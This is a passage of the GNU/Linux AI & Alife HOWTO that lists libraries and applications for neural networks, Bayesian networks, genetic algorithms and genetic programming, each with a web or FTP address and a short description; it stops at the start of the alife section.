
WEKA (Waikato Environment for Knowledge Analysis) is an state-of-the-art facility for applying machine learning techniques to practical problems. It is a comprehensive software "workbench" that allows people to analyse real-world data. It integrates different machine learning tools within a common framework and a uniform user interface. It is designed to support a "simplicity-first" methodology, which allows users to experiment interactively with simple machine learning tools before looking for more complex solutions.


GNU/Linux AI & Alife HOWTO: Connectionism

 Next Previous Contents

3. Connectionism

Connectionism is a technical term for a group of related techniques. These techniques include areas such as Artificial Neural Networks, Semantic Networks and a few other similar ideas. My present focus is on neural networks (though I am looking for resources on the other techniques). Neural networks are programs designed to simulate the workings of the brain. They consist of a network of small mathematical-based nodes, which work together to form patterns of information. They have tremendous potential and currently seem to be having a great deal of success with image processing and robot control.

3.1 Connectionist class/code libraries

These are libraries of code or classes for use in programming within the Connectionist field. They are not meant as stand alone applications, but rather as tools for building your own applications.

ANSI-C Neural Networks

  • Web site: www.geocities.com/CapeCanaveral/1624/

This site contains ANSC-C source code for 8 types of neural nets, including:

  • Adaline Network
  • Backpropagation
  • Hopfield Model
  • (BAM) Bidirectional Associative Memory
  • Boltzmann Machine
  • Counterpropagation
  • (SOM) Self-Organizing Map
  • (ART1) Adaptive Resonance Theory

They were designed to help turn the theory of a particular network model into the design for a simulator implementation , and to help with embeding an actual application into a particular network model.

Software for Flexible Bayesian Modeling

  • Web site: www.cs.utoronto.ca/~radford/fbm.software.html

This software implements flexible Bayesian models for regression and classification applications that are based on multilayer perceptron neural networks or on Gaussian processes. The implementation uses Markov chain Monte Carlo methods. Software modules that support Markov chain sampling are included in the distribution, and may be useful in other applications.

BELIEF

  • Web site: www.cs.cmu.edu/afs/cs/project/ai-repository/ai/areas/reasonng/probabl/belief/

BELIEF is a Common Lisp implementation of the Dempster and Kong fusion and propagation algorithm for Graphical Belief Function Models and the Lauritzen and Spiegelhalter algorithm for Graphical Probabilistic Models. It includes code for manipulating graphical belief models such as Bayes Nets and Relevance Diagrams (a subset of Influence Diagrams) using both belief functions and probabilities as basic representations of uncertainty. It uses the Shenoy and Shafer version of the algorithm, so one of its unique features is that it supports both probability distributions and belief functions. It also has limited support for second order models (probability distributions on parameters).

bpnn.py

  • Web site: www.enme.ucalgary.ca/~nascheme/python/bpnn.py

A simple back-propogation ANN in Python.

CONICAL

  • Web site: strout.net/conical/

CONICAL is a C++ class library for building simulations common in computational neuroscience. Currently its focus is on compartmental modeling, with capabilities similar to GENESIS and NEURON. A model neuron is built out of compartments, usually with a cylindrical shape. When small enough, these open-ended cylinders can approximate nearly any geometry. Future classes may support reaction-diffusion kinetics and more. A key feature of CONICAL is its cross-platform compatibility; it has been fully co-developed and tested under Unix, DOS, and Mac OS.

IDEAL

  • Web site: ??? www.rpal.rockwell.com/ideal.html

IDEAL is a test bed for work in influence diagrams and Bayesian networks. It contains various inference algorithms for belief networks and evaluation algorithms for influence diagrams. It contains facilities for creating and editing influence diagrams and belief networks.

IDEAL is written in pure Common Lisp and so it will run in Common Lisp on any platform. The emphasis in writing IDEAL has been on code clarity and providing high level programming abstractions. It thus is very suitable for experimental implementations which need or extend belief network technology.

At the highest level, IDEAL can be used as a subroutine library which provides belief network inference and influence diagram evaluation as a package. The code is documented in a detailed manual and so it is also possible to work at a lower level on extensions of belief network methods.

IDEAL comes with an optional graphic interface written in CLIM. If your Common Lisp also has CLIM, you can run the graphic interface.

Jet's Neural Architecture

  • Web site: www.voltar-confed.org/jneural/

Jet's Neural Architecture is a C++ framework for doing neural net projects. The goals of this project were to make a fast, flexible neural architecture that isn't stuck to one kind of net and to make sure that end users could easily write useful applications. All the documentation is also easily readable.

Joone

  • Web site: joone.sourceforge.net

Joone is a neural net framework to create, train and test neural nets. The aim is to create a distributed environment based on JavaSpaces both for enthusiastic and professional users, based on the newest Java technologies. Joone is composed of a central engine that is the fulcrum of all applications that already exist or will be developed. The neural engine is modular, scalable, multitasking and tensile. Everyone can write new modules to implement new algorithms or new architectures starting from the simple components distributed with the core engine. The main idea is to create the basis to promote a zillion of AI applications that revolve around the core framework.

Matrix Class

  • FTP site: ftp.cs.ucla.edu/pub/

A simple, fast, efficient C++ Matrix class designed for scientists and engineers. The Matrix class is well suited for applications with complex math algorithms. As an demonstration of the Matrix class, it was used to implement the backward error propagation algorithm for a multi-layer feed-forward artificial neural network.

nunu

  • Web site: ruby.ddiworld.com/jreed/web/software/nn.html

nunu is a multi-layered, scriptable, back-propagation neural network. It is build to be used for intensive computation problems scripted in shell scripts. It is written in C++ using the STL. nn is based on material from the "Introduction to the Theory of Neural Computation" by John Hertz, Anders Krogh, and Richard G. Palmer, chapter 6.

Pulcinella

  • Web site: iridia.ulb.ac.be/pulcinella/Welcome.html

Pulcinella is written in CommonLisp, and appears as a library of Lisp functions for creating, modifying and evaluating valuation systems. Alternatively, the user can choose to interact with Pulcinella via a graphical interface (only available in Allegro CL). Pulcinella provides primitives to build and evaluate uncertainty models according to several uncertainty calculi, including probability theory, possibility theory, and Dempster-Shafer's theory of belief functions; and the possibility theory by Zadeh, Dubois and Prade's. A User's Manual is available on request.

S-ElimBel

  • Web site ???: www.spaces.uci.edu/thiery/elimbel/

S-ElimBel is an algorithm that computes the belief in a Bayesian network, implemented in MIT-Scheme. This algorithm has the particularity of being rather easy to understand. Moreover, one can apply it to any kind of Bayesian network - it being singly connected or muliply connected. It is, however, less powerful than the standard algorithm of belief propagation. Indeed, the computation has to be reconducted entirely for each new evidence added to the network. Also, one needs to run the algorithm as many times as one has nodes for which the belief is wanted.

scnANNlib

  • Web site: www.sentinelchicken.org/projects/scnANNlib/

SCN Artificial Neural Network Library provides a programmer with a simple object-oriented API for constructing ANNs. Currently, the library supports non-recursive networks with an arbitrary number of layers, each with an arbitrary number of nodes. Facilities exist for training with momentum, and there are plans to gracefully extend the functionality of the library in later releases.

Symbolic Probabilistic Inference (SPI)

  • FTP site: ftp.engr.orst.edu/pub/dambrosi/spi/
  • Paper (ijar-94.ps): ftp.engr.orst.edu/pub/dambrosi/

Contains Common Lisp function libraries to implement SPI type baysean nets. Documentation is very limited. Features:

  • Probabilities, Local Expression Language Utilities, Explanation, Dynamic Models, and a TCL/TK based GUI.

TresBel

  • FTP site: iridia.ulb.ac.be/pub/hongxu/software/

Libraries containing (Allegro) Common Lisp code for Belief Functions (aka. Dempster-Shafer evidential reasoning) as a representation of uncertainty. Very little documentation. Has a limited GUI.

UTCS Neural Nets Research Group Software

  • Web site: www.cs.utexas.edu/users/nn/pages/software/software.html

A bit different from the other entries, this is a reference to a collection of software rather than one application. It was all developed by the UTCS Neural Net Research Group. Here's a summary of the packages available:

  • Natural Language Processing
    • MIR - Tcl/Tk-based rapid prototyping for sentence processing
    • SPEC - Parsing complex sentences
    • DISCERN - Processing script-based stories, including
      • PROC - Parsing, generation, question answering
      • HFM - Episodic memory organization
      • DISLEX - Lexical processing
      • DISCERN - The full integrated model
    • FGREPNET - Learning distributed representations
  • Self-Organization
    • LISSOM - Maps with self-organizing lateral connections.
    • FM - Generic Self-Organizing Maps
  • Neuroevolution
    • Enforced Sub-Populations (ESP) for sequential decision tasks
      • Non-Markov Double Pole Balancing
    • Symbiotic, Adaptive NeuroEvolution (SANE; predecessor of ESP)
      • JavaSANE - Java software package for applying SANE to new tasks
      • SANE-C - C version, predecessor of JavaSANE
      • Pole Balancing - Neuron-level SANE on the Pole Balancing task
    • NeuroEvolution of Augmenting Topologies (NEAT) software for evolving neural networks using structure

Various (C++) Neural Networks

  • Web site: www.dontveter.com/nnsoft/nnsoft.html

Example neural net codes from the book, The Pattern Recognition Basics of AI. These are simple example codes of these various neural nets. They work well as a good starting point for simple experimentation and for learning what the code is like behind the simulators. The types of networks available on this site are: (implemented in C++)

  • The Backprop Package
  • The Nearest Neighbor Algorithms
  • The Interactive Activation Algorithm
  • The Hopfield and Boltzman machine Algorithms
  • The Linear Pattern Classifier
  • ART I
  • Bi-Directional Associative Memory
  • The Feedforward Counter-Propagation Network

3.2 Connectionist software kits/applications

These are various applications, software kits, etc. meant for research in the field of Connectionism. Their ease of use will vary, as they were designed to meet some particular research interest more than as an easy to use commercial package.

Aspirin - MIGRAINES

(am6.tar.Z on ftp site)

  • FTP site: sunsite.unc.edu/pub/academic/computer-science/neural-networks/programs/Aspirin/

The software that we are releasing now is for creating, and evaluating, feed-forward networks such as those used with the backpropagation learning algorithm. The software is aimed both at the expert programmer/neural network researcher who may wish to tailor significant portions of the system to his/her precise needs, as well as at casual users who will wish to use the system with an absolute minimum of effort.

DDLab

  • Web site: www.santafe.edu/~wuensch/ddlab.html
  • FTP site: ftp.santafe.edu/pub/wuensch/

DDLab is an interactive graphics program for research into the dynamics of finite binary networks, relevant to the study of complexity, emergent phenomena, neural networks, and aspects of theoretical biology such as gene regulatory networks. A network can be set up with any architecture between regular CA (1d or 2d) and "random Boolean networks" (networks with arbitrary connections and heterogeneous rules). The network may also have heterogeneous neighborhood sizes.

GENESIS

  • Web site: www.bbb.caltech.edu/GENESIS/
  • FTP site: genesis.bbb.caltech.edu/pub/genesis/

GENESIS (short for GEneral NEural SImulation System) is a general purpose simulation platform which was developed to support the simulation of neural systems ranging from complex models of single neurons to simulations of large networks made up of more abstract neuronal components. GENESIS has provided the basis for laboratory courses in neural simulation at both Caltech and the Marine Biological Laboratory in Woods Hole, MA, as well as several other institutions. Most current GENESIS applications involve realistic simulations of biological neural systems. Although the software can also model more abstract networks, other simulators are more suitable for backpropagation and similar connectionist modeling.

JavaBayes

  • Web site: www.cs.cmu.edu/People/javabayes/index.html/

The JavaBayes system is a set of tools, containing a graphical editor, a core inference engine and a parser. JavaBayes can produce:

  • the marginal distribution for any variable in a network.
  • the expectations for univariate functions (for example, expected value for variables).
  • configurations with maximum a posteriori probability.
  • configurations with maximum a posteriori expectation for univariate functions.

Jbpe

  • Web site: cs.felk.cvut.cz/~koutnij/studium/jbpe.html

Jbpe is a back-propagation neural network editor/simulator.

Features

  • Standart back-propagation networks creation.
  • Saving network as a text file, which can be edited and loaded back.
  • Saving/loading binary file
  • Learning from a text file (with structure specified below), number of learning periods / desired network energy can be specified as a criterion.
  • Network recall

neuralnets

  • Web site: members.home.net/neuralnets/neuralnets/

neuralnets is a text-based program that allows someone to build, configure, train and run a Neural Network application. The code is written in Java and is easily extended or included within other code. The application comes ready to go with a Back Prop algorithm included. Well known applications...stock market, weather prediction, scheduling, image recognition, expert systems, research...basically anywhere you may need to make a complicated decision.

Neural Network Generator

  • Web site: www.idsia.ch/~rafal/research.html
  • FTP site: ftp.idsia.ch/pub/rafal

The Neural Network Generator is a genetic algorithm for the topological optimization of feedforward neural networks. It implements the Semantic Changing Genetic Algorithm and the Unit-Cluster Model. The Semantic Changing Genetic Algorithm is an extended genetic algorithm that allows fast dynamic adaptation of the genetic coding through population analysis. The Unit-Cluster Model is an approach to the construction of modular feedforward networks with a ''backbone'' structure.

NOTE: To compile this on Linux requires one change in the Makefiles. You will need to change '-ltermlib' to '-ltermcap'.

Neureka ANS (nn/xnn)

  • Web site: www.bgif.no/neureka/
  • FTP site: ftp.ii.uib.no/pub/neureka/

nn is a high-level neural network specification language. The current version is best suited for feed-forward nets, but recurrent models can and have been implemented, e.g. Hopfield nets, Jordan/Elman nets, etc. In nn, it is easy to change network dynamics. The nn compiler can generate C code or executable programs (so there must be a C compiler available), with a powerful command line interface (but everything may also be controlled via the graphical interface, xnn). It is possible for the user to write C routines that can be called from inside the nn specification, and to use the nn specification as a function that is called from a C program. Please note that no programming is necessary in order to use the network models that come with the system (`netpack').

xnn is a graphical front end to networks generated by the nn compiler, and to the compiler itself. The xnn graphical interface is intuitive and easy to use for beginners, yet powerful, with many possibilities for visualizing network data.

NOTE: You have to run the install program that comes with this to get the license key installed. It gets put (by default) in /usr/lib. If you (like myself) want to install the package somewhere other than in the /usr directory structure (the install program gives you this option) you will have to set up some environmental variables (NNLIBDIR & NNINCLUDEDIR are required). You can read about these (and a few other optional variables) in appendix A of the documentation (pg 113).

NEURON

  • Web site: www.neuron.yale.edu/
  • FTP site: ftp.neuron.yale.edu/neuron/unix/

NEURON is an extensible nerve modeling and simulation program. It allows you to create complex nerve models by connecting multiple one-dimensional sections together to form arbitrary cell morphologies, and allows you to insert multiple membrane properties into these sections (including channels, synapses, ionic concentrations, and counters). The interface was designed to present the neural modeler with a intuitive environment and hide the details of the numerical methods used in the simulation.

PDP++

  • Web site: www.cnbc.cmu.edu/PDP++/
  • FTP site (US): cnbc.cmu.edu/pub/pdp++/
  • FTP site (Europe): unix.hensa.ac.uk/mirrors/pdp++/

As the field of Connectionist modeling has grown, so has the need for a comprehensive simulation environment for the development and testing of Connectionist models. Our goal in developing PDP++ has been to integrate several powerful software development and user interface tools into a general purpose simulation environment that is both user friendly and user extensible. The simulator is built in the C++ programming language, and incorporates a state of the art script interpreter with the full expressive power of C++. The graphical user interface is built with the Interviews toolkit, and allows full access to the data structures and processing modules out of which the simulator is built. We have constructed several useful graphical modules for easy interaction with the structure and the contents of neural networks, and we've made it possible to change and adapt many things. At the programming level, we have set things up in such a way as to make user extensions as painless as possible. The programmer creates new C++ objects, which might be new kinds of units or new kinds of processes; once compiled and linked into the simulator, these new objects can then be accessed and used like any other.

RNS

  • Web site: www.cs.cmu.edu/afs/cs/project/ai-repository/ai/areas/neural/systems/rns/

RNS (Recurrent Network Simulator) is a simulator for recurrent neural networks. Regular neural networks are also supported. The program uses a derivative of the back-propagation algorithm, but also includes other (not that well tested) algorithms.

Features include

  • freely choosable connections, no restrictions besides memory or CPU constraints
  • delayed links for recurrent networks
  • fixed values or thresholds can be specified for weights
  • (recurrent) back-propagation, Hebb, differential Hebb, simulated annealing and more
  • patterns can be specified with bits, floats, characters, numbers, and random bit patterns with Hamming distances can be chosen for you
  • user definable error functions
  • output results can be used without modification as input

Simple Neural Net (in Python)

  • Web site: http://www.amk.ca/python/unmaintained/

Simple neural network code, which implements a class for 3-level networks (input, hidden, and output layers). The only learning rule implemented is simple backpropagation. No documentation (or even comments) at all, because this is simply code that I use to experiment with. Includes modules containing sample datasets from Carl G. Looney's NN book. Requires the Numeric extensions.

SCNN

  • Web site: www.uni-frankfurt.de/fb13/iap/e_ag_rt/SCNN/

SCNN is an universal simulating system for Cellular Neural Networks (CNN). CNN are analog processing neural networks with regular and local interconnections, governed by a set of nonlinear ordinary differential equations. Due to their local connectivity, CNN are realized as VLSI chips, which operates at very high speed.

Semantic Networks in Python

  • Web site: strout.net/info/coding/python/ai/index.html

The semnet.py module defines several simple classes for building and using semantic networks. A semantic network is a way of representing knowledge, and it enables the program to do simple reasoning with very little effort on the part of the programmer.

The following classes are defined:

  • Entity: This class represents a noun; it is something which can be related to other things, and about which you can store facts.
  • Relation: A Relation is a type of relationship which may exist between two entities. One special relation, "IS_A", is predefined because it has special meaning (a sort of logical inheritance).
  • Fact: A Fact is an assertion that a relationship exists between two entities.

With these three object types, you can very quickly define knowledge about a set of objects, and query them for logical conclusions.

SNNS

  • Web site: www.informatik.uni-stuttgart.de/ipvr/bv/projekte/snns/
  • FTP site: ftp.informatik.uni-stuttgart.de/pub/SNNS/

Stuttgart Neural Net Simulator (version 4.1). An awesome neural net simulator. Better than any commercial simulator I've seen. The simulator kernel is written in C (it's fast!). It supports over 20 different network architectures, has 2D and 3D X-based graphical representations, the 2D GUI has an integrated network editor, and can generate a separate NN program in C. SNNS is very powerful, though a bit difficult to learn at first. To help with this it comes with example networks and tutorials for many of the architectures. ENZO, a supplementary system allows you to evolve your networks with genetic algorithms.

SPRLIB/ANNLIB

  • Web site: www.ph.tn.tudelft.nl/~sprlib/

SPRLIB (Statistical Pattern Recognition Library) was developed to support the easy construction and simulation of pattern classifiers. It consist of a library of functions (written in C) that can be called from your own program. Most of the well-known classifiers are present (k-nn, Fisher, Parzen, ....), as well as error estimation and dataset generation routines.

ANNLIB (Artificial Neural Networks Library) is a neural network simulation library based on the data architecture laid down by SPRLIB. The library contains numerous functions for creating, training and testing feed-forward networks. Training algorithms include back-propagation, pseudo-Newton, Levenberg-Marquardt, conjugate gradient descent, BFGS.... Furthermore, it is possible - due to the datastructures' general applicability - to build Kohonen maps and other more exotic network architectures using the same data types.

TOOLDIAG

  • Web site: www.inf.ufes.br/~thomas/home/tooldiag.html
  • FTP site: ftp.inf.ufes.br/pub/tooldiag/

TOOLDIAG is a collection of methods for statistical pattern recognition. The main area of application is classification. The application area is limited to multidimensional continuous features, without any missing values. No symbolic features (attributes) are allowed. The program in implemented in the 'C' programming language and was tested in several computing environments.

XNBC

  • Web site: www.b3e.jussieu.fr/xnbc/

XNBC v8 is a simulation tool for the neuroscientists interested in simulating biological neural networks using a user friendly tool.

XNBC is a software package for simulating biological neural networks.

Four neuron models are available, three phenomenologic models (xnbc, leaky integrator and conditional burster) and an ion-conductance based model. Inputs to the simulated neurons can be provided by experimental data stored in files, allowing the creation of `hybrid'' networks.


GNU/Linux AI & Alife HOWTO: Evolutionary Computing

 Next Previous Contents

4. Evolutionary Computing

Evolutionary computing is actually a broad term for a vast array of programming techniques, including genetic algorithms, complex adaptive systems, evolutionary programming, etc. The main thrust of all these techniques is the idea of evolution. The idea that a program can be written that will evolve toward a certain goal. This goal can be anything from solving some engineering problem to winning a game.

4.1 EC class/code libraries

These are libraries of code or classes for use in programming within the evolutionary computation field. They are not meant as stand alone applications, but rather as tools for building your own applications.

daga

  • Web site: GARAGe.cps.msu.edu/software/software-index.html

daga is an experimental release of a 2-level genetic algorithm compatible with the GALOPPS GA software. It is a meta-GA which dynamically evolves a population of GAs to solve a problem presented to the lower-level GAs. When multiple GAs (with different operators, parameter settings, etc.) are simultaneously applied to the same problem, the ones showing better performance have a higher probability of surviving and "breeding" to the next macro-generation (i.e., spawning new "daughter"-GAs with characteristics inherited from the parental GA or GAs. In this way, we try to encourage good problem-solving strategies to spread to the whole population of GAs.

Ease

  • Web site: www.sprave.com/Ease/Ease.html

Ease - Evolutionary Algorithms Scripting Evironment - is an extension to the Tcl scripting language, providing commands to create, modify, and evaluate populations of individuals represented by real number vectors and/or bit strings.

EO

  • Web site: geneura.ugr.es/~jmerelo/EO.html

EO is a templates-based, ANSI-C++ compliant evolutionary computation library. It contains classes for any kind of evolutionary computation (specially genetic algorithms) you might come up to. It is component-based, so that if you don't find the class you need in it, it is very easy to subclass existing abstract or concrete class.

FORTRAN GA

  • Web site: cuaerospace.com/carroll/ga.html

This program is a FORTRAN version of a genetic algorithm driver. This code initializes a random sample of individuals with different parameters to be optimized using the genetic algorithm approach, i.e. evolution via survival of the fittest. The selection scheme used is tournament selection with a shuffling technique for choosing random pairs for mating. The routine includes binary coding for the individuals, jump mutation, creep mutation, and the option for single-point or uniform crossover. Niching (sharing) and an option for the number of children per pair of parents has been added. More recently, an option for the use of a micro-GA has been added.

GAGS

  • Web site: kal-el.ugr.es/gags.html
  • FTP site: kal-el.ugr.es/GAGS/

Genetic Algorithm application generator and class library written mainly in C++. As a class library, and among other thing, GAGS includes:

  • A chromosome hierarchy with variable length chromosomes. Genetic operators: 2-point crossover, uniform crossover, bit-flip mutation, transposition (gene interchange between 2 parts of the chromosome), and variable-length operators: duplication, elimination, and random addition.
  • Population level operators include steady state, roulette wheel and tournament selection.
  • Gnuplot wrapper: turns gnuplot into a iostreams-like class.
  • Easy sample file loading and configuration file parsing.
As an application generator (written in PERL), you only need to supply it with an ANSI-C or C++ fitness function, and it creates a C++ program that uses the above library to 90% capacity, compiles it, and runs it, saving results and presenting fitness thru gnuplot.

GAlib: Matthew's Genetic Algorithms Library

  • Web Site: lancet.mit.edu/ga/
  • FTP site: lancet.mit.edu/pub/ga/
  • Register GAlib at: lancet.mit.edu/ga/Register.html

GAlib contains a set of C++ genetic algorithm objects. The library includes tools for using genetic algorithms to do optimization in any C++ program using any representation and genetic operators. The documentation includes an extensive overview of how to implement a genetic algorithm as well as examples illustrating customizations to the GAlib classes.

GALOPPS

  • Web site: GARAGe.cps.msu.edu/software/software-index.html
  • FTP site: garage.cps.msu.edu/pub/GA/galopps/

GALOPPS is a flexible, generic GA, in 'C'. It was based upon Goldberg's Simple Genetic Algorithm (SGA) architecture, in order to make it easier for users to learn to use and extend.

GALOPPS extends the SGA capabilities several fold:

  • (optional) A new Graphical User Interface, based on TCL/TK, for Unix users, allowing easy running of GALOPPS 3.2 (single or multiple subpopulations) on one or more processors. GUI writes/reads "standard" GALOPPS input and master files, and displays graphical output (during or after run) of user-selected variables.
  • 5 selection methods: roulette wheel, stochastic remainder sampling, tournament selection, stochastic universal sampling, linear-ranking-then-SUS.
  • Random or superuniform initialization of "ordinary" (non-permutation) binary or non-binary chromosomes; random initialization of permutation-based chromosomes; or user-supplied initialization of arbitrary types of chromosomes.
  • Binary or non-binary alphabetic fields on value-based chromosomes, including different user-definable field sizes.
  • 3 crossovers for value-based representations: 1-pt, 2-pt, and uniform, all of which operate at field boundaries if a non-binary alphabet is used.
  • 4 crossovers for order-based reps: PMX, order-based, uniform order-based, and cycle.
  • 4 mutations: fast bitwise, multiple-field, swap and random sublist scramble.
  • Fitness scaling: linear scaling, Boltzmann scaling, sigma truncation, window scaling, ranking.
  • Plus a whole lot more....

GAS

  • Web site: starship.skyport.net/crew/gandalf
  • FTP site: ftp.coe.uga.edu/users/jae/ai

GAS means "Genetic Algorithms Stuff".

GAS is freeware.

Purpose of GAS is to explore and exploit artificial evolutions. Primary implementation language of GAS is Python. The GAS software package is meant to be a Python framework for applying genetic algorithms. It contains an example application where it is tried to breed Python program strings. This special problem falls into the category of Genetic Programming (GP), and/or Automatic Programming. Nevertheless, GAS tries to be useful for other applications of Genetic Algorithms as well.

GECO

  • FTP site: ftp://ftp.aic.nrl.navy.mil/pub/galist/src/

GECO (Genetic Evolution through Combination of Objects), an extendible object-oriented tool-box for constructing genetic algorithms (in Lisp). It provides a set of extensible classes and methods designed for generality. Some simple examples are also provided to illustrate the intended use.

GPdata

  • FTP site: ftp.cs.bham.ac.uk/pub/authors/W.B.Langdon/gp-code/
  • Documentation (GPdata-icga-95.ps): cs.ucl.ac.uk/genetic/papers/

GPdata-3.0.tar.gz (C++) contains a version of Andy Singleton's GP-Quick version 2.1 which has been extensively altered to support:

  • Indexed memory operation (cf. teller)
  • multi tree programs
  • Adfs
  • parameter changes without recompilation
  • populations partitioned into demes
  • (A version of) pareto fitness
This ftp site also contains a small C++ program (ntrees.cc) to calculate the number of different there are of a given length and given function and terminal set.

gpjpp Genetic Programming in Java

  • [Dead Link] Web site: http://www.turbopower.com/~kimk/gpjpp.asp
  • Anyone who knows where to find gpjpp, please let me know.

gpjpp is a Java package I wrote for doing research in genetic programming. It is a port of the gpc++ kernel written by Adam Fraser and Thomas Weinbrenner. Included in the package are four of Koza's standard examples: the artificial ant, the hopping lawnmower, symbolic regression, and the boolean multiplexer. Here is a partial list of its features:

  • graphic output of expression trees
  • efficient diversity checking
  • Koza's greedy over-selection option for large populations
  • extensible GPRun class that encapsulates most details of a genetic programming test
  • more robust and efficient streaming code, with automatic checkpoint and restart built into the GPRun class
  • an explicit complexity limit that can be set on each GP
  • additional configuration variables to allow more testing without recompilation
  • support for automatically defined functions (ADFs)
  • tournament and fitness proportionate selection
  • demetic grouping
  • optional steady state population
  • subtree crossover
  • swap and shrink mutation

jaga

  • Web site: cs.felk.cvut.cz/~koutnij/studium/jaga/jaga.html

Simple genetic algorithm package written in Java.

lil-gp

  • Web site: GARAGe.cps.msu.edu/software/software-index.html#lilgp
  • FTP site: garage.cps.msu.edu/pub/GA/lilgp/

patched lil-gp *

  • Web site: www.cs.umd.edu/users/seanl/gp/

lil-gp is a generic 'C' genetic programming tool. It was written with a number of goals in mind: speed, ease of use and support for a number of options including:

  • Generic 'C' program that runs on UNIX workstations
  • Support for multiple population experiments, using arbitrary and user settable topologies for exchange, for a single processor (i.e., you can do multiple population gp experiments on your PC).
  • lil-gp manipulates trees of function pointers which are allocated in single, large memory blocks for speed and to avoid swapping.
* The patched lil-gp kernel is strongly-typed, with modifications on multithreading, coevolution, and other tweaks and features.

Lithos

  • Web site: www.esatclear.ie/~rwallace/lithos.html

Lithos is a stack based evolutionary computation system. Unlike most EC systems, its representation language is computationally complete, while also being faster and more compact than the S-expressions used in genetic programming. The version presented here applies the system to the game of Go, but can be changed to other problems by simply plugging in a different evaluation function. ANSI C source code is provided.

PGAPack

Parallel Genetic Algorithm Library

  • Web site: www-fp.mcs.anl.gov/CCST/research/reports_pre1998/comp_bio/stalk/pgapack.html
  • FTP site: ftp.mcs.anl.gov/pub/pgapack/

PGAPack is a general-purpose, data-structure-neutral, parallel genetic algorithm library. It is intended to provide most capabilities desired in a genetic algorithm library, in an integrated, seamless, and portable manner. Key features are in PGAPack V1.0 include:

  • Callable from Fortran or C.
  • Runs on uniprocessors, parallel computers, and workstation networks.
  • Binary-, integer-, real-, and character-valued native data types.
  • Full extensibility to support custom operators and new data types.
  • Easy-to-use interface for novice and application users.
  • Multiple levels of access for expert users.
  • Parameterized population replacement.
  • Multiple crossover, mutation, and selection operators.
  • Easy integration of hill-climbing heuristics.
  • Extensive debugging facilities.
  • Large set of example problems.
  • Detailed users guide.

PIPE

  • Web site: www.idsia.ch/~rafal/research.html
  • FTP site: ftp.idsia.ch/pub/rafal

Probabilistic Incremental Program Evolution (PIPE) is a novel technique for automatic program synthesis. The software is written in C. It

  • is easy to install (comes with an automatic installation tool).
  • is easy to use: setting up PIPE_V1.0 for different problems requires a minimal amount of programming. User-written, application- independent program parts can easily be reused.
  • is efficient: PIPE_V1.0 has been tuned to speed up performance.
  • is portable: comes with source code (optimized for SunOS 5.5.1).
  • is extensively documented(!) and contains three example applications.
  • supports statistical evaluations: it facilitates running multiple experiments and collecting results in output files.
  • includes testing tool for testing generalization of evolved programs.
  • supports floating point and integer arithmetic.
  • has extensive output features.
  • For lil-gp users: Problems set up for lil-gp 1.0 can be easily ported to PIPE_v1.0. The testing tool can also be used to process programs evolved by lil-gp 1.0.

Sugal

  • Web site: www.trajan-software.demon.co.uk/sugal.htm

Sugal [soo-gall] is the SUnderland Genetic ALgorithm system. The aim of Sugal is to support research and implementation in Genetic Algorithms on a common software platform. As such, Sugal supports a large number of variants of Genetic Algorithms, and has extensive features to support customization and extension.

4.2 EC software kits/applications

These are various applications, software kits, etc. meant for research in the field of evolutionary computing. Their ease of use will vary, as they were designed to meet some particular research interest more than as an easy to use commercial package.

ADATE

  • Web site: www-ia.hiof.no/~rolando/adate_intro.html

ADATE (Automatic Design of Algorithms Through Evolution) is a system for automatic programming i.e., inductive inference of algorithms, which may be the best way to develop artificial and general intelligence.

The ADATE system can automatically generate non-trivial and novel algorithms. Algorithms are generated through large scale combinatorial search that employs sophisticated program transformations and heuristics. The ADATE system is particularly good at synthesizing symbolic, functional programs and has several unique qualities.

esep & xesep

  • Web site(esep): www.iit.edu/~elrad/esep.html
  • Web site(xesep): www.iit.edu/~elrad/xesep.html

This is a new scheduler, called Evolution Scheduler, based on Genetic Algorithms and Evolutionary Programming. It lives with original Linux priority scheduler.This means you don't have to reboot to change the scheduling policy. You may simply use the manager program esep to switch between them at any time, and esep itself is an all-in-one for scheduling status, commands, and administration. We didn't intend to remove the original priority scheduler; instead, at least, esep provides you with another choice to use a more intelligent scheduler, which carries out natural competition in an easy and effective way.

Xesep is a graphical user interface to the esep (Evolution Scheduling and Evolving Processes). It's intended to show users how to start, play, and feel the Evolution Scheduling and Evolving Processes, including sub-programs to display system status, evolving process status, queue status, and evolution scheduling status periodically in as small as one mini-second.

Corewars

  • Web site: corewars.sourceforge.net/
  • SourceForge site: sourceforge.net/project/corewars/

Corewars is a game which simulates a virtual machine with a number of programs. Each program tries to crash the others. The program that lasts the longest time wins. A number of sample programs are provided and new programs can be written by the player. Screenshots are available at the Corewars homepage.

Corewar VM

  • Web site: www.jedi.claranet.fr/

This is a virtual machine written in Java (so it is a virtual machine for another virtual machine !) for a Corewar game.

GPsys

  • Web site: www.cs.ucl.ac.uk/staff/A.Qureshi/gpsys.html

GPsys (pronounced gipsys) is a Java (requires Java 1.1 or later) based Genetic Programming system developed by Adil Qureshi. The software includes documentation, source and executables.

Feature Summary:

  • Steady State engine
  • ADF support
  • Strongly Typed
    1. supports generic functions and terminals
    2. has many built-in primitives
    3. includes indexed memory
  • Save/Load feature
    1. can save/load current generation to/from a file
    2. data stored in GZIP compression format to minimise disk requirements
    3. uses serialisable objects for efficiency
  • Fully Documented
  • Example Problems
    1. Lawnmower (including GUI viewer)
    2. Symbolic Regression
  • Totally Parameterised
  • Fully Object Oriented and Extensible
  • High Performance
  • Memory Efficient

Grany-3

  • Web site: guillaume.cottenceau.free.fr/html/grany.html

Grany-3 is a full-featured cellular automaton simulator, made in C++ with Gtk--, flex++/bison++, doxygen and gettext, useful to granular media physicists.

JGProg

  • Web site: www.linuxstart.com/~groovyjava/JGProg/

Genetic Programming (JGProg) is an open-source Java implementation of a strongly-typed Genetic Programming experimentation platform. Two example "worlds" are provided, in which a population evolves and solves the problem.


GNU/Linux AI & Alife HOWTO: Alife & Complex Systems

 Next Previous Contents

5. Alife & Complex Systems

Alife takes yet another approach to exploring the mysteries of intelligence. It has many aspects similar to EC and Connectionism, but takes these ideas and gives them a meta-level twist. Alife emphasizes the development of intelligence through emergent behavior of complex adaptive systems. Alife stresses the social or group based aspects of intelligence. It seeks to understand life and survival. By studying the behaviors of groups of 'beings' Alife seeks to discover the way intelligence or higher order activity emerges from seemingly simple individuals. Cellular Automata and Conway's Game of Life are probably the most commonly known applications of this field. Complex Systems (abbreviated CS) are very similar to alife in the way the are approached, just more general in definition (ie. alife is a type of complex system). Usually complex system software takes the form of a simulator.

5.1 Alife & CS class/code libraries

These are libraries of code or classes for use in programming within the artificial life field. They are not meant as stand alone applications, but rather as tools for building your own applications.

Biome

  • Web site: wosx30.eco-station.uni-wuerzburg.de/~martin/biome/

